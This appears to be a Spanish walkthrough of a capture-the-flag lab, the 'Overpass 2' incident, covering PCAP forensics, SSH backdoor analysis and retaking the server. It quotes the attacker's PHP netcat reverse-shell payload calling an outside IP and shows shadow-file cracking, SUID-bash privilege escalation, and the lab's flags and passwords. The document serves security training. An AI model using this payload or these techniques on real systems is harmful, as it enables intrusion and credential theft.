Overpass ha sido hackeado y el SOC (Security Operations Center) ha detectado actividad sospechosa en el turno de noche, consiguiendo capturar paquetes conforme ha ocurrido el ataque.

Debemos averiguar cómo entró el atacante y hackear de vuelta el servidor de producción de Overpass.

Bajamos el archivo de tareas y nos ponemos a ello.

Forense, analizar el archivo de paquetes PCAP

¿Cuál es la URl de la página que se ha usado para conseguir una shell inversa?

Está prácticamente al principio del archivo de Wireshark y no tiene pérdida.

/development/

¿Qué payload usó el atacante para ganar acceso? La pista nos dice que incluyamos las etiquetas PHP, todo el contenido del archivo.

Para eso, pinchamos en el paquete sospechoso (14) y con el botón derecho elegimos “Follow TCP Stream”.

Siguiendo la corriente TCP

<?php exec(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f”)?>

¿Qué contraseña ha usado el atacante para escalar privilegios?

En el paquete 120, seleccionando y usando de nuevo “Follow TCP Stream” podemos ver que el usuario cambia a james con su james y que usa una contraseña.

La pista nos dice que Netcat transmite todo en texto plano.

whenevernoteartinstant

¿Cómo ha establecido persistencia el atacante?

En ese mismo paquete vemos que ha clonado algo de Github, una puerta trasera SSH. Nos pide la URL de la aplicación.

https://github.com/NinjaJc01/ssh-backdoor

Usando la lista de palabras fasttrack, ?cuántas de las contraseñas del sistema eran vulnerables?

La pista nos dice que el atacante se ha bajado el archivo /etc/shadow, nosotros debemos hacer lo mismo (aparece en el paquete 120 cuando sigues la corriente TCP) y comprobar cuántas son vulnerables usando fasttrack.

Veo que hay hashes en el archivo, así que es susceptible de romperse directamente con John the Ripper, sin necesidad de usar unshadow para unir /etc/passwd y /etc/shadow en un archivo.

Copio el contenido a un archivo shadow y ejecuto:

john shadow --wordlist=/usr/share/wordlists/fasttrack.txt

Rompiendo contraseñas

Ojo a la respuesta, fasttrack.txt rompe 3, pero no lo acepta, supongo que cuenta que también tenemos el del james (¿?).

Nota: Al parecer a otros fasttrack le rompe 4 constraseñas, pues qué bien, a mí no.

4

Investigación, analizar el código

Ahora que hemos encontrado el código de la puerta trasera, es hora de analizarlo.

¿Cuál es el hash por defecto de la puerta trasera? La pista nos dice valores variables.

Para eso, tenemos que irnos a Github y analizar el código de la puerta trasera que nos ha metido.

Si nos vamos a https://github.com/NinjaJc01/ssh-backdoor hay un archivo principal main.go. Lo analizamos.

La línea 19 nos da la clave.

Codigo de puerta trasera

bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

¿Cuál es la sal codificada (hardcoded) en la puerta trasera?

La línea 108 tiene un código de sal que alimenta directamente.

1c362db832f3f864c8c2fe05f2002a05

¿Cuál es el hash que usó el atacante? Tenemos que volver al PCAP para esto.

La pista nos dice que leamos el código, la opción -a o –hash sirve para proporcionar un hash en tiempo de ejecución.

(Aparece cuando ejecuta el script backdoor).

Hash en tiempo de ejecucion

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

Rompamos el hash usando la lista rockyou.txt y una herramienta de nuestra elección. ¿Cuál es la contraseña? (La pista nos avisa de que crackstation y similares no van a funciona al estar salado).

Lo primero que debo hacer en construirlo como hace el código, que es hash:salt.

Sé ambos datos, de modo que quedaría:

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05

Pego eso en un archivo y trato de romper. Hashcat mejor que John. Su modo 1710 sirve para romper SHA-512 (lo que tenemos aquí) con formato ($salt.$pass)

hashcat -a 0 -m 1710 hash /usr/share/wordlist/rockyou.txt

november16

Al ataque

Necesitamos retomar el control del servidor de producción. Hay banderas en él.

Iniciamos la máquina que nos dice y empezamos con las preguntas.

El atacante ha atacado la web, qué mensaje ha dejado como encabezado.

Visitamos la web.

H4ck3d by CooctusClan

Usando la información obtenido, hackeamos de vuelta.

Para la bandera de usuario nos dice que la puerta trasera solo chequea la contraseña.

El código dice que abre conexión ssh en el puerto 2222, algo que podemos confirmar si escaneamos la máquina con:

rustscan -a IP_Objetivo -- -A

También sabemos que ha estado trasteando con el usuario james, así que tratamos de conectar por ssh a ese puerto 2222.

ssh james@IP_Objetivo -p 2222

Y usamos la contraseña november16 que hemos roto.

Ya estamos dentro y leemos el archivo user.txt que hay en el directorio del usuario james para conseguir la bandera.

thm{d119b4fa8c497ddb0525f7ad200e6567}

Ahora a escalar privilegios y conseguir la bandera de administrador.

Mirando en los archivos del directorio de james aparece uno oculto llamado .suid_bash

Si lo ejecuto con -p me da modo privilegiado y puedo leer la bandera de administrador:

./.suid_bash -p
whoami
root
cat /root/root.txt